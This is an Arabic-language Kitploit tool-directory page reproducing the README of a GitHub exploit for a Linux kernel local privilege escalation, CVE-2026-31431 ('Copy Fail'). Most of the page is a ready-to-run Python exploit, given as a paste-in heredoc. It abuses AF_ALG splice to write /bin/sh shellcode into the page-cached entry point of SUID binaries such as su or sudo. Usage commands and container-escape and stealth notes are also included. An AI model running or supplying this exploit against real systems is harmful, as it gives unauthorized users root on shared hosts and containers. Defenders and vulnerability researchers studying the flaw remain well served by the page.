Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-31431-CopyFail-Universal-LPE — # CVE-2026-31431 فشل النسخ — استغلال تصعيد الامتيازات المحلي الشامل. إزاحة ELF ديناميكية + استبدال كامل للملف الثنائي، متوافق مع Python 2/3 مع خيار احتياطي لـ ctypes splice | Kitploit
أدوات/GitHubGitHub/shadowabi/cve-2026-31431-copyfail-universal-lpe
تصعيد الامتيازاتأمن الحاوياتأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالفريق الأحمرتطوير الحمولاتاستغلال الملفات الثنائية

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubshadowabi/cve-2026-31431-copyfail-universal-lpe

CVE-2026-31431-CopyFail-Universal-LPE

# CVE-2026-31431 فشل النسخ — استغلال تصعيد الامتيازات المحلي الشامل. إزاحة ELF ديناميكية + استبدال كامل للملف الثنائي، متوافق مع Python 2/3 مع خيار احتياطي لـ ctypes splice

عرض المستودع
581227منذ 5 أشهرتمت المراجعة من قبل Kitploit

CVE-2026-31431 "Copy Fail" — استغلال تصعيد الصلاحيات المحلي الشامل

كتابة عشوائية 4 بايت في صفحة الكاش الخاصة بنواة لينكس → تصعيد الصلاحيات المحلي

طرق استغلال متعددة: الكتابة فوق نقطة دخول ELF الديناميكية، استبدال ثنائي كامل، متوافق مع Python 3.x مع بديل ctypes لـ splice.

ما هذا؟

CVE-2026-31431 هي ثغرة في نظام AF_ALG الفرعي للتشفير في نواة لينكس. من خلال إساءة استخدام splice() + فك التشفير الموضعي authencesn، يمكن لمستخدم غير مميز كتابة 4 بايت في إزاحة عشوائية في صفحة الكاش الخاصة بالنواة — نفس الكاش المستخدم لجميع الذاكرة المدعومة بالملفات.

هذا يعني:

  • لا سباقات (race conditions) — أحادي الخيط، حتمي
  • لا صلاحيات خاصة — يعمل داخل حاويات Docker الافتراضية (seccomp يسمح بـ AF_ALG)
  • لا اعتماد على إصدار النواة — يؤثر على جميع النوى من 2017 حتى الآن
  • يعدّل الملفات في الذاكرة فقط — القرص لا يُمس، وإعادة التشغيل تمحو كل الآثار

طرق الاستغلال

توفر هذه المستودعات ثلاث أدوات تستخدم نفس بدائية نسخ الفشل AF_ALG:

نقطة الدخول الديناميكيةاستبدال ثنائي كاملفحص الثغرة
الملفexploit.pypoc_compatible.pycheck_cve.sh
الاستراتيجيةيكتب فوق نقطة دخول ELF بـ shellcodeيستبدل الثنائي بالكامل من الإزاحة 0يختبر ما إذا كان الهدف عرضة للثغرة
الهدفأي ثنائي SUID x86_64أي ثنائي (SUID أو لا)غير قابل للتطبيق
Python3.x (جميع الإصدارات)2 / 3Bash
الحمولة36 بايت shellcodeELF كامل مضغوط بـ zlibغير قابل للتطبيق
المؤلفهذا العملh4ppy7reeh4ppy7ree

نقطة الدخول الديناميكية — يحلل رأس ELF في وقت التشغيل لحساب إزاحة ملف نقطة الدخول (p_offset + (e_entry - p_vaddr))، ثم يكتب كعب shellcode صغير. لا إزاحات ثابتة — سكربت واحد يعمل على أي ثنائي SUID x86_64 بغض النظر عن التوزيعة أو الإصدار.

استبدال ثنائي كامل — يكتب فوق الهدف من الإزاحة 0 بحمولة ELF كاملة مبنية مسبقًا (مضغوطة بـ zlib ومدمجة في السكربت). يمكن استهداف ثنائيات غير SUID تُنفَّذ بواسطة عمليات مميزة (مهام cron، خدمات systemd، kube-proxy). يعمل مع Python 2.

فحص الثغرة — يختبر ما إذا كان النظام الهدف يحتوي على AF_ALG و authencesn و algif_aead قبل تشغيل الاستغلال.

بدء سريع

المتطلبات الأساسية

  • نواة لينكس (أي إصدار منذ ~2017)
  • Python 3.x (لـ exploit.py؛ Python 2 مدعوم عبر poc_compatible.py)
  • أي ثنائي SUID-root (/usr/bin/su، /usr/bin/sudo، إلخ.)

إعادة إنتاج بسطر واحد

# إنشاء حاوية اختبار بمستخدم غير مميز
docker run -ti --rm ubuntu:22.04 bash -c '
  sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
  apt-get update -qq && apt-get install -y -qq python3 gcc
  cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
    printf("uid=%d euid=%d\\n", getuid(), geteuid());
    printf("Not rooted - exploit entry point to get shell\\n");
    return 0;
}
EOF
  gcc -o /usr/local/bin/verify /tmp/verify.c
  chmod 4755 /usr/local/bin/verify
  useradd -m testuser
  su - testuser
'

ثم داخل الحاوية كمستخدم testuser:

# قبل: setuid(0) يفشل لأن uid الحقيقي ليس 0
/usr/local/bin/verify
# uid=1000 euid=0
# (يخرج بشكل طبيعي، بدون root)

# تشغيل الاستغلال
python3 exploit.py /usr/local/bin/verify

# بعد: نقطة الدخول مستبدلة، shellcode يحصل على root
# uid=0(root) gid=1000(testuser)

سطر واحد (بدون الحاجة لنقل الملفات)

في السيناريوهات الحقيقية غالبًا ما يكون لديك فقط شل خام — لا scp، لا curl، لا wget. تستخدم هذه الطريقة cat heredoc لكتابة الاستغلال مباشرة في الطرفية:

# الخيار 1: تشغيل سكربت الشل
sh exploit-one-liner.sh /usr/local/bin/verify

# الخيار 2: لصق مباشرة في الطرفية (انسخ الكتلة بأكملها)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
 _l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
 def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
  ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
  if r==-1:raise OSError(ctypes.get_errno(),'splice')
  return r
 os.splice=_s
def d(x):
 if isinstance(x,str):x=x.encode('ascii')
 return binascii.unhexlify(x)
def w(t,o,p):
 s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
 s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
 u,_=s.accept();z=d('00')
 u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
 r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
 try:u.recv(8+o)
 except:0
 [os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
 for i in range(n):
  f.seek(p+i*sz);ph=f.read(sz)
  if struct.unpack_from('<I',ph,0)[0]!=1: continue
  pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
  if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
 w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
 print("  wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
 f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY

python3 /tmp/exploit.py /usr/local/bin/verify

لماذا هذا مهم: غالبًا ما تفتقر بيئات الحاويات إلى أدوات نقل الملفات (scp، curl، wget). تتطلب طريقة heredoc فقط cat و python3 — متوفرة في كل مكان.

استهداف ثنائيات SUID أخرى

يمكنك استبدال /usr/local/bin/verify بأي ثنائي SUID-root:

python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh

⚠️ تحذير: استهداف ثنائيات SUID النظامية (مثل /usr/bin/su) يؤثر على جميع المستخدمين على النظام. يصبح الثنائي غير قابل للاستخدام حتى يتم مسح صفحة الكاش. على الجهاز المضيف، أي مستخدم يشغّل su سيحصل على شل root.

على نظام مشترك/إنتاجي، هذا ملحوظ فورًا — su سيتعطل أو يطلق شلات غير متوقعة للجميع. استخدم verify.c للاختبار الآمن.

الاسترداد

يعدّل الاستغلال فقط صفحة الكاش (الذاكرة)، وليس القرص. خيارات الاسترداد:

الطريقةالمكانالأمر
إسقاط صفحة الكاشالمضيف (root)echo 3 > /proc/sys/vm/drop_caches
إعادة التشغيلفي أي مكانreboot — صفحة الكاش متطايرة
تدمير الحاويةفي أي مكانdocker rm — يتم تحرير صفحة الكاش مع الحاوية
# على المضيف (بعد اختبار الحاوية):
echo 3 | sudo tee /proc/sys/vm/drop_caches

# التحقق من الاسترداد:
xxd -l 8 /usr/bin/su
# يجب أن يُظهر: 7f45 4c46 (.ELF)

ملاحظة: داخل حاوية افتراضية (غير مميزة)، يفشل echo 3 > /proc/sys/vm/drop_caches مع Read-only file system — يتطلب هذا وصولًا إلى المضيف أو تدمير الحاوية.

سطح الهجوم

المتجهيعمل؟التفاصيل
LPE (مستخدم محلي → root)✅ نعمالكتابة فوق نقطة دخول ثنائي SUID
الهروب من الحاوية (افتراضي)❌ لاعزل صفحة الكاش لكل نقطة تثبيت في overlayfs
الهروب من الحاوية (كتابة من المضيف)✅ نعمالكتابة عبر /proc/PID/root/ من المضيف
عبر الحاويات (كتابة من المضيف)✅ نعمنفس inode → صفحة كاش مشتركة للطبقة السفلية

كيف يعمل

الثغرة

خوارزمية authencesn AEAD في النواة بها خطأ في مسار فك التشفير الموضعي:

تنزيل الأداة